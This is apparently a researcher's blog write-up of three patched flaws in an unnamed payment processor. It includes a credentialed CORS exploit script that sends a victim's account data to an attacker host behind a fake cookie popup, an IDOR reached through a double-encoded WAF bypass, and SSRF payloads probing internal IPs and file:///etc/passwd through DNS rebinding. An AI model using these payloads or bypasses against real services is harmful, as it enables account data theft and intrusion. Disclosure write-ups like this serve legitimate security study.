breach a payment processor with these 3 vulns

this will be a quick analysis of a slightly well known payment processor. for safety reasons i wont name the provider; but if you wanted to sell digital items online (specifically game items etc) you’d likely have come across this platform at least once in your life.

vuln #1 - cors misconfig

this was very easy to find (look at the headers). traditionally speaking, when Access-Control-Allow-Origin and Access-Control-Allow-Credentials are mishandled, and someone figures out a way to get account information without much user interaction, it’s safe to say you are quite fucked.

as shown below, an example of the access control headers reflected and misconfigured in the req and resp:

since Access-Control-Allow-Credentials is set to true and reflected by the incoming origin header, it means we can do something like this:

  • get fakedomain.lol
  • embed a simple script like this:
var r = new XMLHttpRequest();
r.onload = rl;
r.open('get','https://www.payment.com/blah/blah/redacted/getUserInfo', true);
r.withCredentials = true;
r.send();
const rl =() => { location='http://lololol.com/grabber?hi='+this.responseText; };
  • make a simple allow cookies popup to force the user to click on something and force the request to be performed
  • get the response and redirect it to our hook
  • done!

testing this on an alt acc, it worked:

now theoretically, if someone really wanted to breach this, they could use this heavily to their advantage on top of se’ing a developer of this platform. its patched though so good luck lolo

vuln #2 - idors

this is incredibly dumb. this vuln stemmed from a deprecated endpoint that they dont use anymore but still had it dangling around in the frontend source. inspecting the page and finding the list of endpoints they have, i found a /api/user/loginHistory/getHistory route. visiting this directly triggered a WAF rule and we were blocked. bypassing this was relatively easy, since whatever ‘WAF’ they had likely was half blind and didnt know that you could double encode a slash and didnt know how to normalize that. visiting /api/user/loginHistory/%252FgetHistory got through lol. visiting this however showed me my email, IP, last login location and more:

naturally i tried another userid. i tried /api/130/loginHistory/%252FgetHistory, which returned 404. next, naturally, i tried /api/user/loginHistory/%252F130/getHistory, which also didnt work. after trying different positions (reminder: reword this), it turns out that all you had to do to get a persons full acc info without chaining the initial CORS one just required your account id:

/api/user/loginHistory/%252F114324

this is a pretty major idors vuln already obviously. calling this multiple times seemed to trigger their waf again. getting around this was also incredibly dumb; as this payment processor has multiple domains, and only has waf matching for one domain. testing it on another domain got around the waf and i managed to access a massive chunk of user information. i also reported this pretty quickly and it has been patched since.

vuln #3 - ssrf and internal network access

while going through the site, i also came across something very interesting: a parameter called pfpUrl lets me set an arbitrary link to any pfp. obviously this could open up to xss and other stuff. however, after testing it for a bit it appears they actually have good sanitizing. ahving an svg to xss probably wouldnt work due to (weirdly) actual good cors on here.

i noticed however whenever it wasn’t an s3 image, it sends a request to that link, probably to validate if it responds with an image/content-type image. this opens up a pretty big can of worms.

trying out

{
        "pfpUrl": "https://lol.com/"
}

made the page freeze for around 20 seconds before it loads back in. interesting!

using burp suite, i tried:

{
        "pfpUrl":  "http://blahblah.oast.fun"       
}

and to no ones surprise i got a request from the server on my burp collaborator. then, i tried making it an array:

{
        "pfpUrl": [
                "http://asdfasdf.oast.fun",
                "http://192.168.1.1",
                "file:///etc/passwd"
        ]
}

which did send a request to our collaborator, before freezing for a very long time and eventually resulting in a 400 Bad Request. trying it on two collaborator links did prove that using an array somehow worked however, as i got requests on both collaborators.

testing the default gateway ips, none of them worked. using rebind, i tried different private ranges through dns rebinding magic:

root@276e60c7a26404eebda220be4bb86d11:/opt# rebind -i eth0 -d sekrit
...
[+] Starting DNS server on port 53
[sekrit]
[+] Services started and running!
...

after a few tries testing different cidr ranges, it turns out the 172.16.0.0/12 range was the one, as the server took nearly 0 time to process this request. by theory therefore, we can construct a pfpUrl array containing internal IPs and ports thru our rebind vuln and try to time them individually to find valid internals. i didnt get to realize the attack fully however as they patched it really quickly after i contacted them

ok so

this site is likely built using genai slop, although this site is already pretty secure for most other vibecoded platforms i look at (e.g. they dont let you set isAdmin in local storage, and they actually know how to get their ai/their devs to have jwt verif not get them breached). please add xmr payments btw you already added btc and ltc